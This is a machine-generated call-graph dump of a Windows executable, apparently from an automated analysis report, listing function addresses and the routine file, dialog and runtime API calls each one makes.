20044->20046 20047 404fad memmove 20045->20047 20048 404eec 20046->20048 20049 404f0b 20047->20049 20050 4028e1 4 API calls 20048->20050 20051 404f1d 20049->20051 20052 404f0f 20049->20052 20050->20045 20054 402748 3 API calls 20051->20054 20072 4020c6 free 20052->20072 20055 404f39 20054->20055 20056 40292d 4 API calls 20055->20056 20057 404f45 20056->20057 20073 4020c6 free 20057->20073 20062 404fc0 20059->20062 20060 404dec 20060->20036 20060->20038 20061 402cc9 memmove 20061->20062 20062->20060 20062->20061 20063->20022 20065 4026e4 3 API calls 20064->20065 20066 404f96 20065->20066 20066->20030 20068 404921 20067->20068 20069 404907 20067->20069 20068->20043 20069->20068 20070 401dbd 4 API calls 20069->20070 20070->20068 20071->20022 20072->20032 20073->20032 20074->19946 20076 40f1e5 20075->20076 20077 40f1ff 20076->20077 20187 40fd1e 20076->20187 20077->19955 20080 40ee40 __EH_prolog 20079->20080 20081 40ee62 20080->20081 20082 40ee8f 20080->20082 20083 40209f 2 API calls 20081->20083 20085 40ee69 20082->20085 20086 40209f 2 API calls 20082->20086 20083->20085 20084 40ebbf 101 API calls 20090 40ef32 20084->20090 20085->20084 20087 40ee9f 20086->20087 20088 402748 3 API calls 20087->20088 20089 40eedb 20088->20089 20194 404763 20089->20194 20094 4084a4 2 API calls 20090->20094 20095 40eeff 20090->20095 20093 40eeec GetLastError 20093->20095 20107 40efad 20094->20107 20095->19955 20096 40f0ac 20203 4020c6 free 20096->20203 20098 402678 2 API calls 20098->20107 20099 401dbd 4 API calls 20099->20107 20101 40292d 4 API calls 20101->20107 20102 4020c6 free ctype 20102->20107 20103 402748 malloc _CxxThrowException free 20103->20107 20104 402969 4 API calls 20104->20107 20105 40f188 16 API calls 20105->20107 20106 404763 2 API calls 20106->20107 20107->20096 20107->20098 20107->20099 20107->20101 20107->20102 20107->20103 20107->20104 20107->20105 20107->20106 20108 40ebbf 101 API calls 20107->20108 20109 40f0dc 20107->20109 20197 40f1ae 20107->20197 20108->20107 20204 4020c6 free 20109->20204 20111 40f0e4 20205 4020c6 free 20111->20205 20114 40ebc9 __EH_prolog 20113->20114 20212 40e6a4 20114->20212 20119 40edda VariantClear 20120 40ec55 20119->20120 20121 40edda VariantClear 20120->20121 20145 40edc5 20120->20145 20122 40ec6e 20121->20122 20123 40edda VariantClear 20122->20123 20122->20145 20124 40ec87 20123->20124 20125 40edda VariantClear 20124->20125 20124->20145 20126 40eca0 20125->20126 20127 40edda VariantClear 20126->20127 20126->20145 20128 40ecb9 20127->20128 20128->20145 20260 402fae 20128->20260 20131 4025a5 2 API calls 20133 40ecd7 20131->20133 20132 40ecf9 20135 40ed74 20132->20135 20137 40ed79 20132->20137 20138 40ed29 20132->20138 20133->20132 20134 4026e4 3 API calls 20133->20134 20134->20132 20280 4020c6 free 20135->20280 20275 40d8ce 20137->20275 20141 4025a5 2 API calls 20138->20141 20139 40edbd 20281 4020c6 free 20139->20281 20144 40ed31 20141->20144 20146 4025a5 2 API calls 20144->20146 20145->19955 20148 40ed3f 20146->20148 20147 40c2d4 4 API calls 20149 40eda0 20147->20149 20264 40c2d4 20148->20264 20151 402748 3 API calls 20149->20151 20153 40edac 20151->20153 20163 40e164 __EH_prolog 20162->20163 20164 405291 VariantClear 20163->20164 20165 40e1e7 20164->20165 20165->19955 20167 402748 3 API calls 20166->20167 20168 40ebac 20167->20168 20169 402748 3 API calls 20168->20169 20170 40ebb8 20169->20170 20170->19969 20172 40d48a __EH_prolog 20171->20172 20567 4020c6 free 20172->20567 20174 40d4a3 20568 4020c6 free 20174->20568 20176 40d4ab 20569 4020c6 free 20176->20569 20178 40d4b3 20570 40cec3 20178->20570 20181 40cec3 free 20182 40d4c6 20181->20182 20182->19997 20183->19991 20184->19994 20185->19986 20186->19990 20188 40fd2f 20187->20188 20192 40fd3c 20187->20192 20189 40d480 free 20188->20189 20190 40fd36 20189->20190 20193 4020c6 free 20190->20193 20192->20076 20193->20192 20206 404742 20194->20206 20198 40f1c6 20197->20198 20199 40f1bc 20197->20199 20201 402678 2 API calls 20198->20201 20200 4025a5 2 API calls 20199->20200 20202 40f1c4 20200->20202 20201->20202 20202->20107 20203->20095 20204->20111 20205->20095 20209 404725 20206->20209 20210 4045fc 2 API calls 20209->20210 20211 40473f 20210->20211 20211->20085 20211->20093 20213 40e6ae __EH_prolog 20212->20213 20214 402fae 2 API calls 20213->20214 20215 40e70f 20214->20215 20216 4025a5 2 API calls 20215->20216 20218 40e71a 20216->20218 20217 40e73c 20220 40209f 2 API calls 20217->20220 20221 40e766 20217->20221 20218->20217 20219 4026e4 3 API calls 20218->20219 20219->20217 20220->20221 20222 40e7ac 20221->20222 20232 40e7cb 20221->20232 20223 401ce1 4 API calls 20222->20223 20224 40e7b5 20223->20224 20243 40e8c0 20224->20243 20244 40e873 20224->20244 20282 406687 20224->20282 20226 40ea6c 20340 4020c6 free 20226->20340 20229 40d8ce CharUpperW 20229->20232 20230 40ea74 20341 4020c6 free 20230->20341 20232->20224 20232->20229 20233 401ce1 4 API calls 20232->20233 20236 403780 5 API calls 20232->20236 20233->20232 20234 40ea7c 20342 4020c6 free 20234->20342 20236->20232 20238 40ea84 20238->20145 20256 40edda 20238->20256 20239 40eab4 20343 4020c6 free 20239->20343 20242 40eacd 20344 4020c6 free 20242->20344 20243->20239 20243->20244 20250 40eb64 3 API calls 20243->20250 20251 406687 3 API calls 20243->20251 20288 40e640 20243->20288 20291 418ad2 20243->20291 20297 4193a5 20243->20297 20305 40e267 20243->20305 20339 4020c6 free 20244->20339 20246 40ead5 20345 4020c6 free 20246->20345 20248 40eadd 20346 4020c6 free 20248->20346 20250->20243 20251->20243 20255 406687 3 API calls 20255->20243 20258 40ee00 20256->20258 20257 405291 VariantClear 20259 40ec3a 20257->20259 20258->20257 20259->20119 20259->20145 20261 402fc1 20260->20261 20262 4025e8 2 API calls 20261->20262 20263 402fcf 20262->20263 20263->20131 20265 40c2de __EH_prolog 20264->20265 20276 40d8f6 20275->20276 20277 40d8d9 20275->20277 20276->20147 20277->20276 20278 402113 CharUpperW 20277->20278 20278->20277 20280->20139 20281->20145 20283 406690 20282->20283 20284 406697 20282->20284 20283->20244 20283->20255 20285 4046a0 2 API calls 20284->20285 20286 4066af 20285->20286 20287 406663 GetLastError 20286->20287 20287->20283 20347 40e65a 20288->20347 20290 40e653 20290->20243 20292 418adc __EH_prolog 20291->20292 20293 4193a5 11 API calls 20292->20293 20294 418b4e 20293->20294 20296 418b55 20294->20296 20363 41b162 20294->20363 20296->20243 20298 4193b7 20297->20298 20303 406687 3 API calls 20298->20303 20299 4193cb 20300 419402 20299->20300 20304 406687 3 API calls 20299->20304 20300->20243 20301 4193df 20301->20300 20511 4191d4 20301->20511 20303->20299 20304->20301 20306 40e271 __EH_prolog 20305->20306 20307 40e2f1 20306->20307 20308 40e2e1 20306->20308 20526 40e1fa 20307->20526 20309 405291 VariantClear 20308->20309 20338 40e2e9 20309->20338 20312 405291 VariantClear 20313 40e307 20312->20313 20314 40e33f 20313->20314 20315 40e32f 20313->20315 20317 40e1fa _CxxThrowException 20314->20317 20316 405291 VariantClear 20315->20316 20316->20338 20318 40e349 20317->20318 20319 405291 VariantClear 20318->20319 20320 40e354 20319->20320 20321 40e38c 20320->20321 20322 40e37c 20320->20322 20324 40e3aa 20321->20324 20326 4026e4 3 API calls 20321->20326 20323 405291 VariantClear 20322->20323 20323->20338 20325 405291 VariantClear 20324->20325 20327 40e3b2 20325->20327 20326->20324 20328 40e3ea 20327->20328 20329 40e3da 20327->20329 20331 40e408 20328->20331 20333 4026e4 3 API calls 20328->20333 20330 405291 VariantClear 20329->20330 20330->20338 20332 405291 VariantClear 20331->20332 20334 40e414 20332->20334 20333->20331 20334->20338 20530 40e504 20334->20530 20338->20243 20339->20226 20340->20230 20341->20234 20342->20238 20343->20242 20344->20246 20345->20248 20346->20238 20348 40e664 __EH_prolog 20347->20348 20351 41b43f 20348->20351 20349 40e67b 20349->20290 20352 41b449 __EH_prolog 20351->20352 20353 40209f 2 API calls 20352->20353 20354 41b454 20353->20354 20355 41b468 20354->20355 20357 418258 20354->20357 20355->20349 20358 418262 __EH_prolog 20357->20358 20359 4182d8 7 API calls 20358->20359 20360 418287 20359->20360 20361 4025a5 malloc _CxxThrowException 20360->20361 20362 4182a5 20361->20362 20362->20355 20364 41b16c __EH_prolog 20363->20364 20369 41ae90 20364->20369 20367 41b1a3 _CxxThrowException 20367->20296 20368 41b1da 20368->20296 20370 41ae9a __EH_prolog 20369->20370 20399 418cd5 20370->20399 20372 41af56 20372->20367 20372->20368 20374 41aff0 20374->20372 20375 40209f 2 API calls 20374->20375 20376 41b015 20375->20376 20406 407b6f 20376->20406 20378 41b030 20510 4020c6 free 20378->20510 20379 41b02c 20379->20378 20382 41b04c 20379->20382 20444 418f89 _CxxThrowException 20379->20444 20409 419069 20382->20409 20385 41b10c 20446 41a788 20385->20446 20386 41b09e 20413 41a4db 20386->20413 20387 418f89 _CxxThrowException 20387->20386 20398 406687 3 API calls 20398->20374 20400 418d5a free 20399->20400 20401 418d0b 20400->20401 20402 4020c6 ctype free 20401->20402 20403 418d27 20402->20403 20404 4020c6 ctype free 20403->20404 20405 418d3a 20404->20405 20405->20372 20405->20398 20407 407b23 ReadFile GetLastError 20406->20407 20408 407b82 20407->20408 20408->20379 20410 419085 20409->20410 20411 419094 20410->20411 20412 418f89 _CxxThrowException 20410->20412 20411->20385 20411->20386 20411->20387 20412->20411 20414 41a4e5 __EH_prolog 20413->20414 20415 41a27b 19 API calls 20414->20415 20442 41a542 20415->20442 20416 41a697 20418 418212 free 20416->20418 20417 41b3cf malloc _CxxThrowException free memcpy 20417->20442 20419 41a6c6 20418->20419 20421 4020c6 ctype free 20419->20421 20420 41a703 _CxxThrowException 20422 41a717 20420->20422 20426 418212 free 20422->20426 20424 407aed malloc _CxxThrowException free 20424->20442 20428 41a734 20426->20428 20431 4020c6 ctype free 20428->20431 20429 40209f malloc _CxxThrowException 20429->20442 20438 4162a8 73 API calls 20438->20442 20442->20416 20442->20417 20442->20420 20442->20422 20442->20424 20442->20429 20442->20438 20443 418f89 _CxxThrowException 20442->20443 20443->20442 20445 418fa1 20444->20445 20445->20382 20447 41a792 __EH_prolog 20446->20447 20448 419069 _CxxThrowException 20447->20448 20449 41a7a5 20448->20449 20450 41a7cd 20449->20450 20451 419432 _CxxThrowException 20449->20451 20452 41a4db 88 API calls 20450->20452 20455 41a84a 20450->20455 20453 41a7c5 20451->20453 20454 41a816 20452->20454 20457 419069 _CxxThrowException 20453->20457 20458 41a831 20454->20458 20459 41a81d 20454->20459 20456 41a8c2 20455->20456 20464 41a27b 19 API calls 20455->20464 20460 41ad38 20456->20460 20468 419160 _CxxThrowException _CxxThrowException 20456->20468 20457->20450 20466 41a8a9 20464->20466 20510->20372 20512 4191de __EH_prolog 20511->20512 20513 407b6f 2 API calls 20512->20513 20514 4191f5 20513->20514 20515 419208 20514->20515 20516 40209f 2 API calls 20514->20516 20515->20300 20517 41922f memcpy 20516->20517 20521 41924d 20517->20521 20518 41930c 20525 4020c6 free 20518->20525 20519 4192ee memmove 20519->20521 20521->20518 20521->20519 20522 419311 memcpy 20521->20522 20524 4065a9 2 API calls 20521->20524 20523 406687 3 API calls 20522->20523 20523->20518 20524->20521 20525->20515 20527 40e202 20526->20527 20528 40e216 _CxxThrowException 20527->20528 20529 40e22b 20527->20529 20528->20529 20529->20312 20531 40e50e __EH_prolog 20530->20531 20532 405291 VariantClear 20531->20532 20533 40e445 20532->20533 20533->20338 20534 40e5a2 20533->20534 20537 40e5ac __EH_prolog 20534->20537 20535 405291 VariantClear 20536 40e62d 20535->20536 20536->20338 20537->20535 20567->20174 20568->20176 20569->20178 20575 4020c6 free 20570->20575 20572 40cece 20576 4020c6 free 20572->20576 20574 40ced6 20574->20181 20575->20572 20576->20574 20578 40d51c __EH_prolog 20577->20578 20579 402678 2 API calls 20578->20579 20580 40d52f 20579->20580 20581 40d576 5 API calls 20580->20581 20582 40d543 20581->20582 20583 40d553 20582->20583 20584 4026a6 3 API calls 20582->20584 20585 402678 2 API calls 20583->20585 20584->20583 20586 40d55e 20585->20586 20698 4020c6 free 20586->20698 20588 40cf9c 20588->19765 20590 402ca1 20589->20590 20591 402c4f 20589->20591 20597 4020c6 free 20590->20597 20592 402ca8 wcscmp 20591->20592 20593 402c5b 20592->20593 20593->20590 20595 402cc9 memmove 20593->20595 20699 4029e6 wcsstr 20593->20699 20701 402b79 20593->20701 20595->20593 20597->19772 20598->19774 20705 40bcb3 20599->20705 20601 40a3aa 20710 40351e 20601->20710 20604 402748 3 API calls 20605 40a49f 20604->20605 20606 402748 3 API calls 20605->20606 20607 40a4aa 20606->20607 20608 40a4cc 20607->20608 20609 404900 4 API calls 20607->20609 20608->19812 20608->19828 20610 40a4bc 20609->20610 20611 403cf2 6 API calls 20610->20611 20612 40a4c5 20611->20612 20613 404900 4 API calls 20612->20613 20613->20608 20615 403aec __EH_prolog 20614->20615 20616 404090 GetFileAttributesW 20615->20616 20618 403af7 20616->20618 20617 403b00 20617->19793 20617->19796 20618->20617 20619 4025e8 2 API calls 20618->20619 20621 403b2d 20619->20621 20620 403b54 20622 402678 2 API calls 20620->20622 20621->20620 20623 403b4d 20621->20623 20627 403b6a 20622->20627 20746 4020c6 free 20623->20746 20626 403b7d GetLastError 20626->20627 20633 403bfc 20626->20633 20627->20626 20629 403bc6 20627->20629 20627->20633 20733 403c23 20627->20733 20631 4027a0 3 API calls 20629->20631 20629->20633 20744 403ad3 CreateDirectoryW 20629->20744 20630 403c08 20630->20623 20631->20629 20745 4020c6 free 20633->20745 20636 417992 __EH_prolog 20634->20636 20635 40209f 2 API calls 20637 417a98 20635->20637 20636->20635 20647 4179e0 20636->20647 20638 40209f 2 API calls 20637->20638 20655 417afd 20638->20655 20639 417b68 20641 418212 free 20639->20641 20640 417bc0 20749 418212 20640->20749 20641->20647 20644 417d09 20646 418212 free 20644->20646 20645 4025a5 2 API calls 20645->20655 20646->20647 20647->19816 20649 417953 44 API calls 20649->20655 20650 417e1a 20832 4020c6 free 20650->20832 20652 417f5d 20834 4020c6 free 20652->20834 20654 417ea6 20833 4020c6 free 20654->20833 20655->20639 20655->20640 20655->20644 20655->20645 20655->20647 20655->20649 20655->20650 20655->20652 20655->20654 20755 417640 20655->20755 20758 4162a8 20655->20758 20835 4020c6 free 20655->20835 20658 417e22 20659 418212 free 20658->20659 20659->20647 20660 417f65 20661 418212 free 20660->20661 20661->20647 20662 417eab 20663 418212 free 20662->20663 20663->20647 20667 417819 20664->20667 20665 41784c 20665->19816 20666 417665 43 API calls 20666->20667 20667->20665 20667->20666 20668 4177ea 14 API calls 20667->20668 20668->20667 20673 402f64 20669->20673 20670 4027a0 3 API calls 20671 402f9f 20670->20671 20672 4026e4 3 API calls 20671->20672 20674 402fa9 20672->20674 20673->20670 20674->19789 20674->19805 20675->19780 20676->19788 20677->19781 20679 402859 20678->20679 20680 40209f 2 API calls 20679->20680 20681 402879 20679->20681 20682 40286f 20680->20682 20681->19793 21131 4020c6 free 20682->21131 20685 40d344 20684->20685 20686 40d320 20684->20686 20685->19827 20686->20685 20687 40d32f _CxxThrowException 20686->20687 20687->20685 20689 40b751 12 API calls 20688->20689 20690 40bbdd 20689->20690 21132 40bb19 20690->21132 20693->19800 20694->19807 20695->19813 20696->19822 20697->19835 20698->20588 20700 402a03 20699->20700 20700->20593 20702 402b89 20701->20702 20704 402b93 20701->20704 20703 402343 5 API calls 20702->20703 20703->20704 20704->20593 20707 40bcdb 20705->20707 20708 40bcbe 20705->20708 20707->20601 20708->20707 20719 40bd35 20708->20719 20722 4020c6 free 20708->20722 20711 403528 __EH_prolog 20710->20711 20712 403534 20711->20712 20713 401ea7 free 20711->20713 20712->20604 20714 403540 20713->20714 20724 403732 20714->20724 20716 40209f 2 API calls 20718 40354e 20716->20718 20717 402678 2 API calls 20717->20718 20718->20712 20718->20716 20718->20717 20723 4020c6 free 20719->20723 20721 40bd3d 20721->20708 20722->20708 20723->20721 20725 403774 20724->20725 20726 40373f 20724->20726 20725->20718 20727 40209f 2 API calls 20726->20727 20728 403754 20727->20728 20729 40376d 20728->20729 20730 40375e memcpy 20728->20730 20732 4020c6 free 20729->20732 20730->20729 20732->20725 20747 4272c0 20733->20747 20735 403c2d CreateDirectoryW 20736 403c42 20735->20736 20737 403c46 GetLastError 20735->20737 20736->20627 20737->20736 20738 403c57 20737->20738 20739 4025a5 2 API calls 20738->20739 20740 403c67 20739->20740 20741 40409f 16 API calls 20740->20741 20742 403c73 20741->20742 20748 4020c6 free 20742->20748 20744->20629 20745->20630 20746->20617 20747->20735 20748->20736 20750 41821c __EH_prolog 20749->20750 20836 4020c6 free 20750->20836 20752 418243 20837 416dbd 20752->20837 20756 417816 44 API calls 20755->20756 20757 417662 20756->20757 20757->20655 20759 4162b2 __EH_prolog 20758->20759 20853 4196c5 20759->20853 20832->20658 20833->20662 20834->20660 20835->20655 20836->20752 20848 4020c6 free 20837->20848 20839 416dc8 20849 4020c6 free 20839->20849 20848->20839 20942 41944f 20853->20942 20969 419160 20942->20969 20945 419481 20946 41946d _CxxThrowException 20946->20945 20970 419069 _CxxThrowException 20969->20970 20971 419169 20970->20971 20972 419174 _CxxThrowException 20971->20972 20973 419188 20971->20973 20972->20973 20973->20945 20973->20946 21131->20681 21133 40bb23 __EH_prolog 21132->21133 21134 40bb31 21133->21134 21135 417601 3 API calls 21133->21135 21134->19836 21136 40bb54 21135->21136 21137 40bbaf 21136->21137 21138 40bae9 3 API calls 21136->21138 21139 40bcb3 free 21137->21139 21138->21136 21140 40bbba 21139->21140 21142 4020c6 free 21140->21142 21142->21134 21143->19847 21144->19843 21145->19855 21151 40d39c __EH_prolog 21146->21151 21147 40d3cc 21154 4020c6 free 21147->21154 21149 40ceb6 21149->19710 21150 40d480 free 21150->21151 21151->21147 21151->21150 21153 4020c6 free 21151->21153 21153->21151 21154->21149 21156 4159e5 21155->21156 21162 408efa 21155->21162 21157 40209f 2 API calls 21156->21157 21158 415a04 21157->21158 21159 415a1d 21158->21159 21160 415a0e memcpy 21158->21160 21163 4020c6 free 21159->21163 21160->21159 21162->19665 21163->21162 21165 4025a5 2 API calls 21164->21165 21166 40a0ea 21165->21166 21166->19872 21167 41f410 21168 41f414 21167->21168 21169 41f417 malloc 21167->21169 21170 41f430 free 21171 41d990 21172 41d99c 21171->21172 21173 41d9a5 21171->21173 21176 41d6e0 21173->21176 21178 41d6f4 21176->21178 21180 41d907 21176->21180 21177 422fb0 memcpy 21177->21178 21178->21177 21179 407b91 46 API calls 21178->21179 21178->21180 21181 4075d6 2 API calls 21178->21181 21179->21178 21181->21178 21182 407c33 21185 407c38 21182->21185 21184 407c56 21185->21184 21186 426140 2 API calls 21185->21186 21188 4260f0 WaitForSingleObject 21185->21188 21189 409472 21185->21189 21186->21185 21188->21185 21190 40947c __EH_prolog 21189->21190 21191 4094b1 50 API calls 21190->21191 21192 409492 21191->21192 21192->21185 21193 414d95 21194 414da2 KillTimer 21193->21194 21195 414dc1 21193->21195 21194->21195 21196 414ddd 21194->21196 21198 414bad 21196->21198 21199 414bb7 __EH_prolog 21198->21199 21200 414124 39 API calls 21199->21200 21201 414bcf 21200->21201 21229 41007e 21201->21229 21205 414bf4 6 API calls 21206 414c3d 21205->21206 21233 414d43 21206->21233 21209 414d43 2 API calls 21210 414c50 EnterCriticalSection 21209->21210 21239 414d74 21210->21239 21213 414d74 3 API calls 21214 414c90 LeaveCriticalSection 21213->21214 21215 414ca4 21214->21215 21222 414cc7 21214->21222 21217 414cbd MessageBoxW 21215->21217 21221 402846 3 API calls 21215->21221 21216 414d08 21219 414d21 KiUserCallbackDispatcher 21216->21219 21220 414d11 21216->21220 21217->21216 21217->21219 21224 414d2a 21219->21224 21223 415111 11 API calls 21220->21223 21221->21217 21222->21216 21222->21217 21222->21219 21225 402846 3 API calls 21222->21225 21226 414d1f 21223->21226 21244 413686 21224->21244 21225->21217 21226->21224 21253 4054f2 21229->21253 21232 4020c6 free 21232->21205 21234 414d4d __EH_prolog 21233->21234 21235 4025a5 2 API calls 21234->21235 21236 414d59 21235->21236 21237 4025a5 2 API calls 21236->21237 21238 414c45 21237->21238 21238->21209 21240 402748 3 API calls 21239->21240 21241 414d82 21240->21241 21242 402748 3 API calls 21241->21242 21243 414c84 21242->21243 21243->21213 21274 4020c6 free 21244->21274 21246 413691 21275 4020c6 free 21246->21275 21248 413699 21276 4020c6 free 21248->21276 21250 4136a1 21277 4020c6 free 21250->21277 21252 4136a8 21252->21195 21267 4272c0 21253->21267 21255 4054fc LoadStringW 21256 405546 21255->21256 21257 405536 21255->21257 21259 4025a5 2 API calls 21256->21259 21258 4025e8 2 API calls 21257->21258 21260 405544 SetDlgItemTextW 21258->21260 21261 40554e 21259->21261 21260->21232 21268 405588 21261->21268 21263 405563 21264 402678 2 API calls 21263->21264 21265 40556e 21264->21265 21273 4020c6 free 21265->21273 21267->21255 21269 405599 21268->21269 21270 4055ab LoadStringW 21269->21270 21271 4023e9 4 API calls 21269->21271 21270->21269 21272 4055c0 21270->21272 21271->21270 21272->21263 21273->21260 21274->21246 21275->21248 21276->21250 21277->21252 21278 415414 21279 41541e __EH_prolog 21278->21279 21282 415460 21279->21282 21283 41546a __EH_prolog 21282->21283 21284 4025a5 2 API calls 21283->21284 21285 415488 21284->21285 21306 415559 21285->21306 21323 415646 21285->21323 21288 415591 EnterCriticalSection 21289 4155d4 21288->21289 21290 4155aa 21288->21290 21295 402748 3 API calls 21289->21295 21293 4155f5 LeaveCriticalSection 21290->21293 21297 402748 3 API calls 21290->21297 21292 415624 4 API calls 21296 415568 21292->21296 21314 4020c6 free 21293->21314 21294 402748 3 API calls 21298 41554d 21294->21298 21299 4155d2 21295->21299 21296->21288 21296->21292 21302 4155c6 21297->21302 21329 4020c6 free 21298->21329 21299->21293 21301 415606 21315 415374 21301->21315 21305 402748 3 API calls 21302->21305 21305->21299 21308 415624 21306->21308 21307 415433 21309 415630 21308->21309 21310 415643 21308->21310 21311 41563b 21309->21311 21313 4028ba 4 API calls 21309->21313 21310->21296 21312 40292d 4 API calls 21311->21312 21312->21310 21313->21311 21314->21301 21316 415380 21315->21316 21317 415396 21315->21317 21320 426140 2 API calls 21316->21320 21318 4153b3 21317->21318 21319 41539f PostMessageW 21317->21319 21318->21307 21319->21307 21321 41538b 21320->21321 21330 4260f0 WaitForSingleObject 21321->21330 21324 415663 21323->21324 21325 415657 21323->21325 21327 40394e 6 API calls 21324->21327 21326 41007e 6 API calls 21325->21326 21328 415540 21326->21328 21327->21328 21328->21294 21329->21306 21330->21317 21331 413839 21332 413850 GetParent 21331->21332 21333 41385f GetTickCount GetDlgItem GetDlgItem SendMessageW 21331->21333 21332->21333 21335 426140 2 API calls 21333->21335 21336 413970 GetDlgItem 21335->21336 21372 40595c GetWindowTextLengthW 21336->21372 21339 402748 3 API calls 21340 413997 21339->21340 21341 4139a1 GetDlgItem 21340->21341 21342 40595c 7 API calls 21341->21342 21343 4139bc 21342->21343 21379 405650 21343->21379 21346 405650 6 API calls 21347 4139d6 21346->21347 21348 405650 6 API calls 21347->21348 21349 4139e3 SetWindowTextW 21348->21349 21382 414ef0 21349->21382 21355 413a10 21394 405e12 SendMessageW 21355->21394 21357 413a23 SendMessageW SendMessageW 21395 4137ef 6 API calls 21357->21395 21359 413a4e 21396 405b42 GetDlgItem GetWindowRect 21359->21396 21364 413ab7 21366 413ae5 SetTimer 21364->21366 21367 413ac8 LoadIconW SendMessageW 21364->21367 21365 413a7b 8 API calls 21365->21364 21368 41534d PostMessageW 21366->21368 21367->21366 21369 413b04 21368->21369 21370 41378b 2 API calls 21369->21370 21371 413b0b 21370->21371 21373 4059ab GetLastError 21372->21373 21374 40597d 21372->21374 21378 4059b8 21373->21378 21375 40598a GetWindowTextW 21374->21375 21376 4023e9 4 API calls 21374->21376 21377 40599d 21375->21377 21376->21375 21377->21373 21377->21378 21378->21339 21405 4055ed LoadStringW 21379->21405 21411 41325b EnterCriticalSection LeaveCriticalSection 21382->21411 21384 414efe SetDlgItemTextW 21386 414de8 9 API calls 21384->21386 21387 4139f9 21386->21387 21388 414fa9 21387->21388 21389 414fb8 21388->21389 21390 414fbb SetDlgItemTextW 21388->21390 21389->21390 21391 414de8 9 API calls 21390->21391 21392 413a00 21391->21392 21393 405e12 SendMessageW 21392->21393 21393->21355 21394->21357 21395->21359 21397 405b63 21396->21397 21398 405c3b 21397->21398 21412 405aa0 SystemParametersInfoW 21398->21412 21400 405c4e GetWindowRect 21401 405c77 21400->21401 21402 405ced 21401->21402 21403 405cda MoveWindow 21401->21403 21404 405ccd ShowWindow 21401->21404 21402->21364 21402->21365 21403->21402 21404->21402 21406 40563e 21405->21406 21407 40562e 21405->21407 21409 405588 5 API calls 21406->21409 21408 4026e4 3 API calls 21407->21408 21410 40563c 21408->21410 21409->21410 21410->21346 21411->21384 21412->21400 21413 42769c __set_app_type __p__fmode __p__commode 21414 42770b 21413->21414 21415 427713 __setusermatherr 21414->21415 21416 42771f 21414->21416 21415->21416 21425 427818 _controlfp 21416->21425 21418 427724 _initterm __getmainargs _initterm 21419 427778 GetStartupInfoA 21418->21419 21421 4277ac GetModuleHandleA 21419->21421 21426 401a03 21421->21426 21425->21418 21427 401a0d __EH_prolog 21426->21427 21437 401a7c GetVersionExW 21427->21437 21430 401a45 21439 4200d0 GetVersionExW 21430->21439 21431 401a25 21600 41006e MessageBoxW 21431->21600 21436 401a31 exit _XcptFilter 21438 401a21 21437->21438 21438->21430 21438->21431 21440 4200fe GetModuleHandleW GetProcAddress 21439->21440 21441 4200ef 21439->21441 21442 420128 GetSystemDirectoryW 21440->21442 21443 420119 21440->21443 21441->21440 21441->21442 21444 420143 21442->21444 21445 401a4e 21442->21445 21443->21442 21443->21445 21444->21445 21446 42014e lstrlenW 21444->21446 21449 401039 21445->21449 21447 420169 21446->21447 21447->21445 21448 4201b8 lstrcatW LoadLibraryExW 21447->21448 21448->21445 21448->21447 21601 4272c0 21449->21601 21451 401043 OleInitialize 21602 401993 LoadLibraryW 21451->21602 21454 4025a5 2 API calls 21455 401079 21454->21455 21456 4025a5 2 API calls 21455->21456 21457 40108a 21456->21457 21458 401096 GetCommandLineW 21457->21458 21459 4025e8 2 API calls 21458->21459 21460 4010a9 21459->21460 21608 401deb 21460->21608 21464 4010c4 21465 401af9 2 API calls 21464->21465 21473 4010d3 21464->21473 21465->21473 21466 401153 21467 4025a5 2 API calls 21466->21467 21468 40115f 21467->21468 21629 4038f6 GetModuleFileNameW 21468->21629 21471 40119d 21752 41006e MessageBoxW 21471->21752 21472 4025a5 2 API calls 21474 401176 21472->21474 21473->21466 21473->21471 21475 4026e4 malloc _CxxThrowException free 21473->21475 21480 404900 4 API calls 21473->21480 21477 403cf2 6 API calls 21474->21477 21475->21473 21479 401188 21477->21479 21478 4011a9 21483 411a11 ctype free 21478->21483 21481 4011b1 21479->21481 21482 40118c 21479->21482 21480->21473 21486 40209f 2 API calls 21481->21486 21751 41006e MessageBoxW 21482->21751 21485 4015b0 21483->21485 21749 4020c6 free 21485->21749 21491 4011b8 21486->21491 21487 401198 21802 4020c6 free 21487->21802 21489 4015b8 21750 4020c6 free 21489->21750 21633 40da98 21491->21633 21492 4015c0 21492->21436 21495 401596 21803 4020c6 free 21495->21803 21498 401200 21501 40209f 2 API calls 21498->21501 21499 4011f4 21753 401000 21499->21753 21502 40120a 21501->21502 21503 40121d 21502->21503 21761 4017f6 21502->21761 21645 411df6 21503->21645 21600->21436 21601->21451 21603 40105e 21602->21603 21604 4019aa GetProcAddress 21602->21604 21603->21454 21605 4019ea FreeLibrary 21604->21605 21606 4019bd memset 21604->21606 21605->21603 21607 4019d9 21606->21607 21607->21605 21609 401df5 __EH_prolog 21608->21609 21610 402678 2 API calls 21609->21610 21611 401e04 21610->21611 21806 402a68 21611->21806 21614 401ea7 free 21621 401e1f 21614->21621 21615 4025a5 malloc _CxxThrowException 21615->21621 21617 401ab2 4 API calls 21617->21621 21618 401e7f 21816 4020c6 free 21618->21816 21619 402748 3 API calls 21619->21621 21621->21615 21621->21617 21621->21618 21621->21619 21623 4020c6 free ctype 21621->21623 21810 401d34 21621->21810 21622 401e87 21817 4020c6 free 21622->21817 21623->21621 21625 401e8f 21818 4020c6 free 21625->21818 21627 4010b8 21628 4020c6 free 21627->21628 21628->21464 21630 403933 21629->21630 21631 40116e 21629->21631 21630->21631 21632 4026e4 3 API calls 21630->21632 21631->21472 21632->21631 21634 40daa2 __EH_prolog 21633->21634 21819 40dc64 21634->21819 21636 40dab1 21638 402846 malloc _CxxThrowException free 21636->21638 21639 4025a5 malloc _CxxThrowException 21636->21639 21641 4020c6 free ctype 21636->21641 21644 4011f0 21636->21644 21824 40db98 21636->21824 21827 40d902 21636->21827 21844 40dc1d 21636->21844 21852 401c66 21636->21852 21638->21636 21639->21636 21641->21636 21644->21498 21644->21499 21646 411e00 __EH_prolog 21645->21646 21647 41007e 6 API calls 21646->21647 21648 411e13 21647->21648 21749->21489 21750->21492 21751->21487 21752->21478 21754 40100a __EH_prolog 21753->21754 21755 415646 9 API calls 21754->21755 21756 401017 21755->21756 22196 41006e MessageBoxW 21756->22196 21758 401024 22197 4020c6 free 21758->22197 21762 401800 __EH_prolog 21761->21762 21763 4025a5 2 API calls 21762->21763 21764 401833 21763->21764 21765 4025a5 2 API calls 21764->21765 21802->21495 21803->21478 21807 402a70 21806->21807 21808 401e18 21807->21808 21809 402a91 memmove 21807->21809 21808->21614 21809->21808 21812 401d5e 21810->21812 21815 401d9b 21810->21815 21811 401da9 21813 4026e4 3 API calls 21811->21813 21812->21811 